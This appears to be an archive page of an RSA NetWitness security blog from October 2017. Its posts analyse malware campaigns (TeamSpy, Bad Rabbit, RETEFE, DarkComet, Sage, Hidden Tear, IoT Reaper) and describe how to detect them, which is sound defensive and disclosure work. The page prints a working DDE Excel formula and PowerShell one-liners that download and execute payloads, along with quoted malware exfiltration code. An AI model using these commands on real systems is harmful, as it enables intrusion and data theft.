Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2017 > October
Anya Kricsfeld

Launching RSA Ideas

Posted by Anya Kricsfeld Employee Oct 31, 2017

For years RSA has been in business of providing best-in-class security products and services to you, our customers.  I am proud to be surrounded by extremely intelligent and creative coworkers who amaze me with their knowledge, imagination, and ability to make abstract a reality on daily basis.  However, I am even more astounded by the unending well of new ideas I see coming from our customer community every time I interact with or observe an interaction between us and you.  You are the true inspiration and driving force of our innovation.  We build products that solve your problems, we offer services that help you, and everything we do - we do with you and your success in mind.


This is why I am happy to officially introduce you to a new way to harvest and crowdsource our collective ideas together.  This month, we have launched new idea pages on our RSA Link Community:



These destination pages are places for you to show off your creativity and need, to suggest ways that would improve our offerings to help you be more successful.  It is also the place where you can collaborate on your ideas with other like-minded individuals and vote on ideas suggested by others.


We have a great customer community, let’s harness its creative power to see what we can come up with together.


For more information, please check out the following FAQs:

For years, threat actors have been relying on DLL side-loading to load their malicious code into the address space of legitimate applications. PlugX is probably the most prominent example, but there are other malware families [1]. There is a certain order that Microsoft Windows follows in order to find a DLL required by an application [2]. If SafeDLLSearchMode is disabled, the current directory comes before other typical directories such as Systems directory or Windows directory in the search order for a DLL. By dropping their malicious DLL in the same directory as a trusted application, malware authors have a chance to blend in and evade analysis.


TeamSpy leverages the DLL side-loading technique to load its malicious payload into the memory space of TeamViewer; a popular remote desktop application [3]. Avast has a detailed explanation of TeamSpy and its capabilities [4]. In this blog post, we will go over a recent malspam activity delivering TeamSpy to victim machines and will discuss how the activity looks in NetWitness Packets.


Submitting the delivery document NEW_price.xlsm to RSA pre-release What's This File service scores the maximum threat score:



The malicious spreadsheet has an auto-launch script to download a payload from a delivery domain:



When the victim enables the embedded macro, the download activity begins:




Here is the meta registered by NetWitness Packets for the download session:



Here is a list of files downloaded to the victim machine (all downloaded to the C:\ directory):


tv_64.dlldcd8cda46bb20ff09c8c8be8be2f3098Helper library for TeamViewer performance optimization and QuickConnect (64 bit)
tv_64.exee0331b54a56e7aa48f97b4956bcef769Helper process for TeamViewer performance optimization and QuickConnect (64 bit)
tvr.cfg71488723b5b71651ab164989535bceedObfuscated configuration file for TeamSpy spyware
TV.exe75c738b78021eec28f7a9eeaade02cfeTeamViewer Remote Control Application
avicap32.dllbe03a49d09f85bc7b977574bcef5a4f1Malicious DLL
TeamViewer_Desktop.exe301d4c233bb1297d600ceb05a0ebbc33TeamViewer Remote Control Application
TeamViewer_Resource_en.dll1ead0b5a632b2d60414b5a1daa4905f3TeamViewer resources
tv_32.dlld1cae98656bc6703e21f4580b8830dfcHelper library for TeamViewer performance optimization and QuickConnect
tv_32.exe7d90bdf0f9c2d9224d8b4d5d2f195506Helper process for TeamViewer performance optimization and QuickConnect


By dropping the malicious DLL in the same directory as the legitimate application, TeamSpy has a chance to load successfully and to run its payload. It uses a password to de-obfuscate the configuration file at run time in order to start communicating with its C2 server, which in this case is the same as the delivery domain:


Avast has a full list of those parameters in the query strings above [4] but here is some information:

  • id: ID of the infected machine
  • tout: timeout
  • osbt: 32bit/64bit
  • osv: OS version
  • osbd: OS build version
  • uname: user name
  • cname: computer name
  • tvrv: teamviewer version


Here is the meta registered by NetWitness Packets for the C2 communication:



Delivery document (SHA256):

  • 00048ea8873518a5a17ddea0cfee0f1103bf56c07b89b287c6aa60e082d75f99


All the IOC from those HTTP sessions were added to RSA FirstWatch Command and Control Domains on Live with the following meta:

  • threat.source = ‘rsa-firstwatch’
  • threat.category = ‘malspam’
  • threat.description = ‘delivery-domain’



  1. DLL Side-Loading - enterprise 
  2. Dynamic-Link Library Search Order (Windows) 
  4. A deeper look into malware abusing TeamViewer 

Mimikatz is an open source research project with it's first commit back in 2014 via @gentilkiwi, that is now used extensively by pen testers and adversaries alike for various post-exploitation activities.  One of many write-ups on Mimikatz can be found here.


The intention of this post is to show how you might instrument your NetWitness environment to detect attempts to use Mimikatz for credential theft which is arguably it's most common application.  Designed to be as generic as possible to account for re-compilations, the primary detection mechanism focused on fingerprinting loaded dlls is based on some great research done by @Wardog, detailed here.


Here are the detection opportunities discussed in this post:


This post focuses primarily on the log-based detection via an ESA rule.  The choice to feed sysmon logs into NW is predicated by the requirement to gather ImageLoaded events every time a DLL is loaded by a process.   



Getting Sysmon logs into NetWitness

The general process for enabling sysmon capture is fairly straight forward and detailed by Eric Partington in his post: Log - Sysmon 6 Windows Event Collection. The key events we care about for this scenario are Sysmon EventID 1 (process creation) and Sysmon EventID 7 (ImageLoaded).  



Two recommendations:

  1. Although not required for detection, for stronger analysis, you may consider adjusting table-map-custom.xml on your log decoder to add the parent.process meta key and toggle from "Transient" to "None" to gain visibility into these values.  Sample addition to table-map-custom.xml (more details on this process here)

    <mapping envisionName="parent_pid" nwName="" flags="None" format="Int32"/>
    <mapping envisionName="parent_process_val" nwName="parent.process" flags="None"/>

  2. Sysmon can get very, very noisy if not properly filtered.  This part is up to you (and the capacity of your system) but I started with this sysmon config template: sysmon-config/sysmonconfig-export.xml at master · SwiftOnSecurity/sysmon-config · GitHub  and modified the EventID 7 config within the template shown below - only including ImageLoaded events necessary for the detection logic:

    <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus-->
    <ImageLoad onmatch="include">
    <ImageLoaded condition="contains">cryptdll.dll</ImageLoaded>
    <ImageLoaded condition="contains">hid.dll</ImageLoaded>
    <ImageLoaded condition="contains">winscard.dll</ImageLoaded>
    <ImageLoaded condition="contains">logoncli.dll</ImageLoaded>
    <ImageLoaded condition="contains">netapi32.dll</ImageLoaded>
    <ImageLoaded condition="contains">samlib.dll</ImageLoaded>
    <ImageLoaded condition="contains">vaultcli.dll</ImageLoaded>
    <ImageLoaded condition="contains">wintrust.dll</ImageLoaded>

* full sample template attached to the bottom of this post.


Important note:  When setting up sysmon on your source endpoints, to enable capturing of ImageLoaded events you will need to add "-l" to the  installation or run time command line.



NW Log Config - ESA Rule

The logic of this ESA rule is pretty straight forward but is implemented as an Advanced EPL rule - look for any process loading the set of "fingerprint" dlls indicative of Mimikatz and alert.  The rule is attached to this post, and instructions on how to import it are located here: Alerting: Import or Export Rules. Two separate formats have been attached - one in native/exported format that can be directly imported as per the instructions, the other as a text file for you to modify/copy/paste into a new Advanced EPL ESA rule if you prefer to do it that way.


Note:  This rule was tested in a lab environment, so please feel free to test and provide feedback on performance and false/true positive rates.  You'll notice a second ESA rule suffixed with "(aggressive)" that may catch more implementations of mimikatz but might be prone to false positives.  I wasn't able to get either to falsely trip in my lab, but your mileage may vary.



NW Endpoint Config - IIOCs

No additional config is required if you see the following InstantIOCs in your system already:


If we combine endpoint & log visibility for this use case, we get increased fidelity overall due to a combination of approaches to corroborate.  NWE automatically looks for various behavioral indicators involving lsass.exe for credential theft which is a great compliment to the DLL fingerprinting approach.   For an attacker, subverting either behavior individually will be easier than subverting both.   While not covered in this post, it's certainly possible to create a new alert for the NWE IIOC detection by itself OR add them to the conditions of the DLL fingerprinting ESA rule to increase fidelity.  If your NWE IIOCs are configured to send a syslog event for every match, the output when triggered looks as follows (sample CEF logs attached):





The ESA rule triggered successfully after running mimikatz in a number of ways, including as a native binary, PowerShell Mafia via PS command line & interactive shell, PowerShell Empire via native powershell and injected process, Crackmapexec, and Metasploit.  I'd love some feedback from anyone willing to test alternate methods. 


ESA alert rolled up into an incident:



Incident details:


If you have NetWitness Endpoint, you can pivot into it to gain deeper context.  In the tracking data below, bottom up shows initial compromise (this example happened to be a simple PowerShell Empire stager), subsequent activity, and interaction with lsass.exe triggering a Level 1 IOC:


It should also be noted that as of NW 11.0 and NW Endpoint 4.4, an integration exists to bring the same NW Endpoint tracking data directly into the broader NW platform as log events.  As this integration matures, you can undoubtedly expect a closer tie between related log & endpoint behavior.




Sample Data

I've attached a set of sample logs that should trigger the rule if replayed into a log decoder.  These logs contain the suspect event as well as some benign logs from the same endpoint.  An easy way to replay these is by using the NWLogPlayer utility (How To Replay Logs in RSA NetWitness - note, if using version 11.0 the package name has changed and can be installed with yum install rsa-nw-logplayer).

The second attached log set shows 2 sample CEF syslog alerts sent directly from NW Endpoint when the discussed IIOCs trigger.


Kevin Stear

Rise of the IoT Reaper

Posted by Kevin Stear Employee Oct 26, 2017

During the month of October, and there’s been a disturbance in the force… the growing presence of a new Internet of Things (IoT) botnet, dubbed ‘Reaper’.  Initial research published by Checkpoint and Qihoo indicates that the IoT Reaper botnet may have already infected more than 2 Million devices, making it one of the most dangerous botnets in the world.


From a NetWitness Packets detection standpoint, FirstWatch has observed Reaper activity since the middle of October.  These attacks are commonly carried over TCP from ephemeral ports to a common set of destination ports as depicted below.



The following Reaper exploit attempts were observed attacking RSA FirstWatch sinkhole infrastructure on October 20th from a likely compromised (i.e., Reaper infected bot) Iranian based source IP address, 84.241.31[.]227.


D-Link Devices - 'command.php' Unauthenticated Remote Command Execution (Metasploit):


Wireless IP Camera (P2P) WIFICAM GoAhead Backdoor / Remote Command Execution:


Checking to see if the previous exploit worked (thanks @VK_Intel):


Unknown Credential Stealing Exploit:


D-Link Devices - 'hedwig.cgi' Buffer Overflow in Cookie Header (Metasploit):


Linksys WRT160N v2 - 'apply.cgi' Remote Command Injection (Metasploit):


Netgear DGN Devices Unauthenticated Command Execution:


Linus System Files Information Disclosure:


Notable meta tagging for this activity within Netwitness Packets can be seen below.


RSA FirstWatch has further quantified IoT Reaper attacks in the wild from several thousand source IP addresses, which have been added to the FirstWatch C2 IP feed available in RSA Live and tagged with the following meta data:

  • threat.category = ‘botnet’
  • threat.desc = ‘reaper’


Thanks to Kent Backman (RSA FirstWatch), Andre DiMino (DeepEnd Research), Chris Doman (ThreatCrowd), and Jaime Blasco (AlienVault) for contributing to this research.


On October 18th 2017, malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Buffer Overflow Vulnerability in the ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library, CVE-2012-0158. The malicious code can be triggered by a specially crafted DOC or RTF file for un-patched MS Office products.

VirusTotal Analysis of delivered document confirms presence of RTF exploit.


After opening the document in a vulnerable Microsoft Word application, a connection is established to  “http://careers[.]fwo[.]com[.]pk/” to download a malicious executable payload, using shell code present in RTF file,  which kicks off the following network events.


VirusTotal Analysis of final payload “printer.exe” confirms that it’s a Revenge, a Remote Access Trojan (RAT).


Once the download is complete, the binary is executed and post-infection traffic started. Request contains information in Base64 encoded form about infected m/c such as IP, domain and username, operating system, processor version and speed and language.


Breaking down request to each staring reveals specific pattern and information:

  • Information
  • Revenge-RAT R3Vlc3Q Guest
  • Revenge-RAT XzQ0RkVDOTA4 _44FEC908
  • Revenge-RAT System IP
  • Revenge-RAT Q0FGRVdFU1QgLyBqYW1lcw CAFEWEST / james
  • Revenge-RAT No 6
  • Revenge-RAT TWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwgIDMy Microsoft Windows 7 Professional  32
  • Revenge-RAT SW50ZWwoUikgWGVvbihSKSBDUFUgICAgICAgICAgIFg1NjkwICBAIDMuNDdHSHo Intel(R) Xeon(R) CPU           X5690  @ 3.47GHz
  • Revenge-RAT 1073274880
  • Revenge-RAT Ti9B N/A
  • Revenge-RAT Ti9B N/A
  • Revenge-RAT 3339
  • Revenge-RAT UHJvZ3JhbSBNYW5hZ2Vy Program Manager
  • Revenge-RAT ZW4tVVM en-US
  • Revenge-RAT False


Current RSA NetWitness detection populates following meta for the download sessions:


Current RSA NetWitness detection populates following meta for Post Infection traffic:


More detailed information about CVE-2012-0158 can be found here:

Triaging Malicious Microsoft Office documents CVE-2012-0158 


Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.


Yesterday news emerged about a new ransomware outbreak dubbed Bad Rabbit. The new ransomware has some similarities to the Petya/Not Petya ransomware attack that took the world by storm last summer. Both ransomware families encrypt the entire disk.  As of now, it appears that most reported victims are in Eastern Europe with some reports suggesting that some victims were detected in the United States. While the US-CERT issued a notice that it is aware of the attacks, it has no specific information on US victims.


Bad Rabbit binary is currently being delivered to the victim as a fake Adobe Flash update (SHA256: 630325cac09ac3fab908f903e3b00d0dadd5fdaa0875ed8496fcbb97a558d0da) through compromised websites, and one particular delivery domain, 1dnscontrol[.]com, has been identified in numerous Industry reports.  Researchers at Cisco Talos demonstrated how BadRabbit victims were redirected to this delivery domain via compromised websites.


First, there was a POST request to 185.149.120[.]3/scholargoogle to collect some information such as user agent, referring site, cookie and domain name of the session.  Next, the ransomware dropper was delivered via two paths:

  • 1dnscontrol[.]com/index.php
  • 1dnscontrol[.]com/flash_install.php


At this time, it appears that the delivery domain is no longer active; however, both the IP and domain have been placed into FirstWatch C2 feeds available in RSA Live with the following meta tags:

  • threat.category = "ransomware"
  • threat.desc = "badrabbit"


Executing the malware on a 32bits Windows machine, it dropped the following files on the system (names of the dropped files might vary from one system to another):


File PathSHA256Notes
C:\Windows\cscc.dat682adcb55fe4649f7b22505a54a9dbc454b4090fc2bb84af7db5b0908f3b7806diskcryptor driver
C:\Windows\dispci.exe8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93diskcryptor client


Executing the malware on a 64bits Windows machine, it dropped the following files:


File PathSHA256Notes
C:\Windows\cscc.dat0b2f863f4119dc88a22cc97c0a136c88a0127cb026751303b045f7322a8972f6diskcryptor driver
8ebc97e05c8e1073bda2efb6f4d00ad7e789260afa2c276f0c72740b838a0a93diskcryptor client


Here is a process tree after running the dropper:



The malware creates two scheduled tasks to perform the following:

  • A scheduled task to run the open source utility DiskCryptor to encrypt the entire disk.
  • A scheduled task to reboot the system at a certain time.

Strings embedded in the unpacked DLL suggest that the malware also targets a certain list of files for encryption:

  • Note: It remains unclear why the malware has a list of target file extensions, while it's behavior encrypts the whole disk.


The malware also drops mimikatz-like binaries to harvest credentials.  Communication between those binaries and the malware is done through a named pipe as shown in the process tree above. 


In addition to the stealers, the malware comes embedded with a list of default usernames and passwords.  These credentials are used by the malware to try to login to other systems via SMB and infect them.  It should be noted, that BadRabbit does not currently use the EternalBlue vulnerability for lateral movement; instead this is basic scanning and login attempts for the following shares.

  • admin
  • atsvc
  • browser
  • eventlog
  • lsarpc
  • netlogon
  • ntsvcs
  • spoolss
  • samr
  • srvsvc
  • scerpc
  • svcctl
  • wkssvc

If a login attempt is successful, 'infpub.dat' is dropped into Windows directory and executed via SCManager and rundll.exe.  


In it's final stages, Bad Rabbit executes a system reboot, after which the victim is presented with a ransom note:



The helpful message on caforssztxqzf2nm[.]onion notifies victims of 0.05 Bitcoin ransom with a message suggesting that the price will go up after some 10+ hours.



Microsoft recently released a threat bulletin on Bad Rabbit [6]. It has the following instructions to stop the system from rebooting (thus stopping it from encrypting the disk):

  • Check event logs for the following IDs: 1102 and 106

Event 1102 indicates that the audit log has been cleared, so previous activities can’t be seen.

Event 106  indicates that scheduled tasks "drogon" and "Rhaegel" have been registered (these are ransomware wipers)

If events 1102 and 106 are present, issue a shutdown -a to prevent a reboot


Halim Abouzeid has a detailed post on how the post infection activity looks in both NetWitness Packets and NetWitness Endpoint.



BadRabbit is a new ransomware that has been targeting unsuspecting victims across Eastern Europe.  Upon infection, the malware tries to spread laterally via SMB and by trying to dump passwords using mimikatz.  It will then encrypt documents on the local machine, modify the MBR and reboot the machine making it impossible to boot without paying the ransom.


The following are examples of the visibility an enterprise that has RSA NetWitness Endpoint and Packets would have when a machine gets infected.


1st, from the perspective of RSA NetWitness packets, it is possible to see the SMB traffic generated by the infected machine, trying to login using a set of hard coded usernames and passwords (full list available here: BadRabbit credential dictionary - ).


From the perspective of RSA NetWitness Endpoint, we can see the following:


We can identify the modules part of the attack.

- B4DD.tmp is a version of mimikatz to dump passwords using lsass.exe

- cscc.dat is a valid tool used for the encryption

- shutdown.exe is used by the malware to restart the machine


By analyzing those modules we can get bit more details.

For example, by analyzing dispci.exe we can see the extensions it looks for encryption:


As well as some of the encryption/decryption messages that would eventually popup to the user:


If we then look  at the triggered IIOCs and behaviors:

1- The malware is reading a large number of documents in a short period of time (typical ransomware behavior)

2- Reported as malicious by the reputation service (Reversing Labs)


If we want to look at more details for what has happened, we can look at the tracking data:

1- the different modules needed by the malware are dropped to disk

2- it removes any previous tasks installed by the malware (notice the name of the tasks referencing the names of the dragons in Game of Thrones)

3- new scheduled tasks are added to run the encryption with the victim's ID and then shutdown the machine

4- we then see B4DD.tmp (mimikatz) accessing lsass.exe to try and dump credentials

5- it then access all the documents with extensions that matches to get encrypted


6- it then deletes logs and events

7- and finally removes/adds scheduled tasks to restart the machine


Once the machine gets restarted, the victim is not able to boot to Windows and gets the following message:



This shows how RSA NetWitness Packets and Endpoint can help get early notification and detection for new breeds of malware without relying on known signatures, and how they can be used to easily look for IOCs and indicators to quickly respond and identify compromised machines.


Some Indicators that can be used

File Hashes:

de5c8d858e6e41da715dca1c019df0bfb92d32c0 (install_flash_player.exe)
afeee8b4acff87bc469a6f0364a81ae5d60a2add (dispci.exe)
79116fe99f2b421c52ef64097f0f39b815b20907 (infopub.dat)
413eba3973a15c1a6429d9f170f3e8287f98c21c (Mimikatz 32bit)
16605a4a29a101208457c47ebfde788487be788d (Mimikatz 64bit)





Usernames/Passwords (SMB):

BadRabbit credential dictionary - 

On October 19th 2017, an unknown malspam campaign delivered a malicious RTF document, “Inquiry_list.doc”, which attempts to exploit Microsoft Office/WordPad via a Remote Code Execution (RCE) vulnerability in the Windows API, CVE-2017-0199.  



After opening the document via a vulnerable Microsoft Word application, a connection is established to “wizkiddz[.]xyz” to download a malicious DOT file, "", which kicks off the following network events.


This DOT file contains obfuscated code, which downloads a malicious HTA, “htaenq.hta”, from same domain.


This HTA file then uses Base64 obfuscated code to spawn powershell and create a shell object in order to download the final payload, “enq.exe”, and then close the browser window automatically.


This final payload, “enq.exe”, is a Fareit Trojan, a commodity malware info-stealer often seen with Zeus/ZBOT campaigns.


Current RSA NetWitness detection populates following meta for the download sessions:


Once the download is complete, the binary is executed and post-infection traffic started.


Current RSA NetWitness detection populates following meta for Post Infection traffic:


Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.


Ahmed Sonbol

Sage Ransomware Campaign

Posted by Ahmed Sonbol Employee Oct 20, 2017

During the week of October 16th 2017, RSA FirstWatch observed a new malspam campaign delivering Sage 2.2 ransomware. The delivery documents come embedded with malicious macros that download the ransomware upon execution. 


31119.doc is one example. It uses the usual social engineering tricks to convince the user to run the embedded macro:



Submitting the delivery document to RSA pre-release What's This File service reveals more information about it including the obfuscated VBA code:




The VBA code runs a powershell command that downloads a binary to the victim machine and executes it:



NetWitness Packets shows the following information for the download session:



Analysis results indicate that the downloaded binary is a Sage ransomware variant. The following post infection screenshots are from



If you zoom out a little bit, you can notice a pattern:




Here is a list of delivery documents (SHA256):



And below is a list of Sage ransomware variants (SHA256):



All the IOC from those HTTP sessions were added to RSA FirstWatch Command and Control Domains on Live with the following meta:

  • threat.source = ‘rsa-firstwatch’
  • threat.category = ‘malspam’
  • threat.description = ‘delivery-domain’


If you attended my sessions on Lua Parsing in NetWitness, we referenced some materials as well as a parser template I use when starting to write a Lua parser.  I wanted to share that material here.  Be sure to check out the examples as well as the nw-api.lua as references when building your own.


As always, if you have questions, please reach out.





There has recently been a reappearance of a method used to execute commands via malicious Excel files (and other office documents) without the need of Macros.

The method uses Dynamic Data Exchange (DDE), and what makes it interesting is that, even though it does causes prompt messages to appear, it doesn't use Macros and therefore it is less likely to be detected and blocked, and users are more likely to accept the prompts. In addition, as this is a "feature" and not a vulnerability, it is not something that will be patched, and cannot be easily prevented and blocked.


We will see how to perform a sample attack using DDE and then how easily it can be detected with RSA NetWitness Endpoint.


DDE Sample Attack

To execute a command using DDE, all we have to do is create an Excel file and use the following formula in one of the cells:

=cmd|' /c notepad'!A0

Once the user opens the file and accepts the prompts, notepad.exe will be launched.


To make the attack more interesting, we want to use the same method in conjunction with PowerShell to download and execute our payload (the payload "YGH.exe" is hosted on the "" server):

=cmd|'/c powershell.exe -w hidden (New-Object System.Net.WebClient).DownloadFile(\"\",\"c:\\Users\Public\\YGH.exe\");Start-Process \"c:\\Users\\Public\\YGH.exe\"'!A0


Once the victim opens the file, this is what he sees:


After accepting the 1st warning message, he sees a 2nd warning:


And finally the payload gets downloaded and executed:



In a real life scenario, the malware would have done something more stealthy, or provided remote access to the attacker instead of displaying a message.





Detection Using RSA NetWitness Endpoint

Now, from the RSA NetWitness Endpoint view, this would be detected very easily.


  1. IIOCs are triggered for Office running PowerShell and PowerShell downloading content. This could be used to generate real-time alerts via email and/or Syslog and get notified at an early stage of the attack.
  2. Excel is executed
  3. Excel launches "cmd.exe". From the command arguments we can see that cmd is used to launch powershell to download and execute a file called "YGH.exe" from the "" server.
  4. PowerShell saves the YGH.exe file to disk
  5. PowerShell executed the YGH.exe file




This shows how an attack vector that can easily bypass traditional preventive solutions can be detected by RSA NetWitness Endpoint based on the monitored behavior of the user's workstation.

This has been detected even though Excel is an approved software with a valid trusted signature and the malware itself didn't perform any malicious activity (it only shows a message to the victim). It demonstrates early detection capabilities based on behavior before negative impact actually happens.

On October 10th, 2017 malspam delivered a malicious RTF document that tries to exploit Microsoft Office/WordPad via a Buffer Overflow Vulnerability in the ListView / TreeView ActiveX controls in the MSCOMCTL.OCX library, CVE-2012-0158. The malicious code can be triggered by a specially crafted DOC or RTF file for un-patched MS Office products.


VirusTotal Analysis of delivered document confirms presence of RTF exploit.


After opening the document in a vulnerable Microsoft Word application, a connection is established to  “” to download a malicious HTA file, which kicks off the following network events.


As shown above, " p4573447474794872248.hta" (VirusTotal  and Hybrid-Analysis) was the first download.

This HTA file uses obfuscated code which when rendered creates a PowerShell command. It also creates Shell Object which helps download and execute final payload executable “gd.exe” and has code to close browser window automatically.


Above obfuscated charterer leads to generation of following PowerShell command which uses WebClient object for connectivity:


powershell (new-object System.Net.WebClient).DownloadFile('hXXp://dvayen[.]com/fgg/gd[.]exe', '%temp%\BxQ2QIVm0dfJEQ0XbjTisddC0lm.exe'); Start-Process '%temp%\BxQ2QIVm0dfJEQ0XbjTisddC0lm.exe'", "", "", 0



Once the download is complete, the binary is executed and post-infection traffic started.


Banners in post infection traffic are identified DrakComet RAT banners. VirusToatal Analysis of the payload, “gd.exe”, and Analysis of post infection traffic confirms that it is DarkComet, a Remote Access Trojan (RAT).


Current RSA NetWitness detection populates following meta for the download sessions:


Current RSA NetWitness detection populates following meta for Post Infection traffic:


Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.


During the first week of October 2017, RSA FirstWatch identified a Malspam campaign targeting Swiss industry with malicious MS Word documents carrying the RETEFE Banking Trojan.


Much of Europe has been routinely targeted by these actors for the last several months, and there is little sign of the RETEFE campaign letting up, as evident in numerous VirusTotal submissions of recent dropper documents:



These dropper hashes are all German language MS Word docs with varying properties are essentially the same W97M/Downloader, where malicious code is located in identical VBA macros.  And upon submitting one of the MS Word delivery document to RSA's pre-release WhatsThisFile service, we are immediately greeted with a threat score of 100.  (Note:  The underlying VBA code streams in each of these Office documents are identical.  The malware author attempted to avoid detection by changing file properties (e.g., Author) on each of the documents.  This resulted in unique file hashes for each document, but, the resulting codeset remained the same). 




Below are snapshots from our Cuckoo detonation (of one of the dropper documents) and the corresponding network traffic as seen by RSA NetWitness, both of which we'll walk through to show how the malicious code delivers a successful RETEFE infection.  (Note: the entire PCAP from our sandbox is available at GitHub - netwitness/retefe: retefe banking trojan.) 



As the document is first opened, embedded VBA code is automatically run via a Document_Open()subroutine contained in the ThisDocument VBA Stream as shown below.



The Document_Open() subroutine begins a long series of de-obfuscation steps which ultimately yields a base-64 encoded payload as shown below.  



This payload is base-64 decoded in order to obtain the second stage of the dropper attack as shown pasted below.



This stage of the attack utilizes PowerShell to launch a hidden window, which attempts to download malware from each of 5 sites specified in the payload.  This payload is launched via the VBA.Shell() command in the f9TZtz1 VBA code stream as shown in the following two WTF screen shots.



NetWitness Endpoint (as shown in the steps and annotated in the graphic below) easily follows this behavior. 

1. This begins the launching of the doc file from Internet Explorer which calls Microsoft Word.

2. Once ‘Enable Content’ is clicked, WINWORD.exe calls powershell to retrieve content from a few different websites and save as 65536.exe.

3. Powershell creates a process with the downloaded content as 65536.exe

4. The exe then calls wscript to launch a javascript file from an extracted RAR archive file.

5. Next wscript is writing a ps1 (powershell) script.

6. Wscript then calls powershell to launch the newly created VHSjWECxz.ps1 file. We also see powershell writing the 7za.exe file.



NetWitness Packets observes the first four download attempts fail (via 404) and catches the successful download of 'wluheol.exe', the actual RETEFE payload, from thomasamericalatina[.]net hosted at 190.0.230[.]91, under a Costa Rican based domain name and web-hosting service, Cyberfuel[.]com.


Below is a Maltego snapshot of the numerous attempted (failed and successful) RETEFE delivery domains with some basic passive DNS enrichment.


With regard to the 'wluheol.exe' payload (locally stored as 65536.exe), WTF shows us some interesting things are going on here (e.g., 'missing file properties' and a 'major linker version does not match fingerprint'), but a more thorough analysis of the payload is warranted.
Now this gets interesting, at the end of 'wluheol.exe' (correct offset and length determined by WTF) payload is a PKZIP file, which once unzipped reveals a Javascript payload that is run by the EXE as the last stage of the infection.
This Javascript is HEAVILY OBFUSCATED and requires many rounds of decoding (e.g., js-1.js -> js-decoded.js  -> js-decoded-2.js -> js-decoded-3.js -> js-decoded-4.js and each of these are payloads that get run), but reveals numerous artifacts that confirm (as detailed in the previous Proofpoint analysis) this is in fact the RETEF banking trojan.  For example, lines like this: 



Decodes to this fun registry key:


HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect

Here are some other strings that are base64 encoded in the payload:



HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL






taskkill /F



taskkill /F /im firefox.exe



taskkill /F /im chrome.exe


The largest of all base64 payloads is in the last sequenced file in the zip (js-decoded-4.js), which contains the base64 decoded blob found in stage 3 (js-decoded-3.js).  It is also ripe with artifacts, but is too big to paste here.  A zip (password 'infected') of all the decoded payloads has been posted to FirstWatch's public github repo at GitHub - netwitness/retefe: retefe banking trojan


During the execution of the malware (as described above), we begin to see some known characteristics and behaviors associated with RETEFE.  The download of Tor and socat are our first keys.



Tor with socat (acting as a proxy) is quickly put to use as the malware establishes command and control (c2) via a number of tor relays, as observed in the highlighted traffic below over ports 9001 and 443.




Again NetWitness Endpoint demonstrates its utility here (as annotated in the steps and graphic below).

8. Powershell is called upon again which launches cmd.exe. This time, it runs bitsadmin to download the TOR client.

9. EXE is called upon to extract the downloaded TOR content into the "C:\Users\analyst\AppData\Roaming\Identities" directory.

10. Next, mshta.exe is called to launch the TOR process.

11. We next see 7za.exe extracting more content into the “Identities” directory after another powershell script was run.

12. Here, we can see the malicious code launch ‘socat.exe’ and started a SOCKS tunnel to a TOR node on ports 5555 and 5588.  It also stopped any running Chrome, Firefox or Internet Explorer browsers.



In addition the the Tor connections, the malware also employs an alternative exfiltration method via FTP to a server hosted on world4you[.]com.  SALES05.log is the exfiltrated file, whose name is based on the infected machine, in this case ‘SALES05’.



This exfiltration is done via the J/S payload in the Zip file at the end of wluheol.exe', where there are several lines of code in the last J/S file that provide some insight into exactly what's being exfiltrated in this log file.  


   LogWrite("OS info: {0}" -f $wininfo -join ");
   LogWrite("Powershell version: {0}" -f $version);
   $pac=Get-ItemProperty 'hkcu:\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\'|Select -expand AutoConfigURL -ErrorAction Stop;
   LogWrite("Pac setted: '$pac'”);
   LogWrite("Certs installed: '{0}'" -f ($Certs -join "; "));
   LogWrite("Proccess list:`n{0}" -f ($proc -join "`n"));
   LogWrite("List dir [{0}]: {1}" -f ($DestTP, (($dirs|Select -expand Name) -join "; ")));
   LogWrite("Av installed: '{0}'" -f ($avlist -join "; "));


It is believed that the actors are/were leveraging the below compromised site to access this FTP exfiltration.



As the infection persists over the course of many hours, we also observed heavy periodic beaconing in NetWitness Packets.



Thanks to Christopher Ahearn, Kent, and Ahmed Sonbol for their contributions to this research.  All related Indicators of Compromise (IOCs) have been added to the FirstWatch C2 Domain and C2 IPs feeds and are available in RSA Live.


Dropper hashes:





RETEFE Delivery domains:







RETEFE Payload hash:



RETEFE C2 domains (Tor relays):









Alternative exfil domain:


A new malspam campaign has been observed on October 6th 2017 spreading DoublePulsar via EternalBlue exploit, and Hidden Tear ransomware. Based on the delivery documents and ransom notes, the campaign looks to be targeting German speaking users.


EternalBlue exploits a vulnerability in the way Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests giving the attacker an opportunity to execute code on the target server [1]. Microsoft has issued a patch for the vulnerability back in March 2017 but the exploit was used as part of the WannaCry ransomware attack in May 2017 and NotPetya attack in June 2017. DoublePulsar is a backdoor implant that was used alongside EternalBlue. Hidden Tear is an open source ransomware family. Malware authors have built different variants on top of its code base that vary from each other in different ways such as the payment methods, the encryption techniques and which files to consider for encryption [2].


The delivery document (PRELIMINARY_KAPSCH_SECURITY_NIGHT_2017_WORD_DROPPER.doc) uses a macro to drop the malicious payload to the victim machine:



Submitting the delivery document to RSA pre-release What's This File service shows the following malicious characteristics including the auto-launch script to download a payload from a domain over SSL: 





The powershell script (launcher.ps1.txt) has the capability of mapping the victim network:



It can also download a zipped filed '' and extracts it on the victim machine:



The request to download '' was observed in NetWitness Packets:





Finally, the script proceeds to deliver:



First, it tries to run a powershell script (Execute-EB-Launcher.ps1) to attempt to infect machines in the network that could be vulnerable to EternalBlue exploit and to implant DoublePulsar in case the attempt was successful:



In this scenario, no neighbor machines were compromised. The malicious powershell script (launcher.ps1.txt) finally downloads and launches a Hidden Tear variant:





Upon execution, the malware encrypts the victim files and presents the following ransom note:



Post-infection traffic is over SSL:



The payment websites were down at the time of this writing.


Delivery documents (SHA256):

  • 8ad3c6df4a96b97279e50a39fe4c2662d8da7699c54cb2582a5c0ae7ae358334
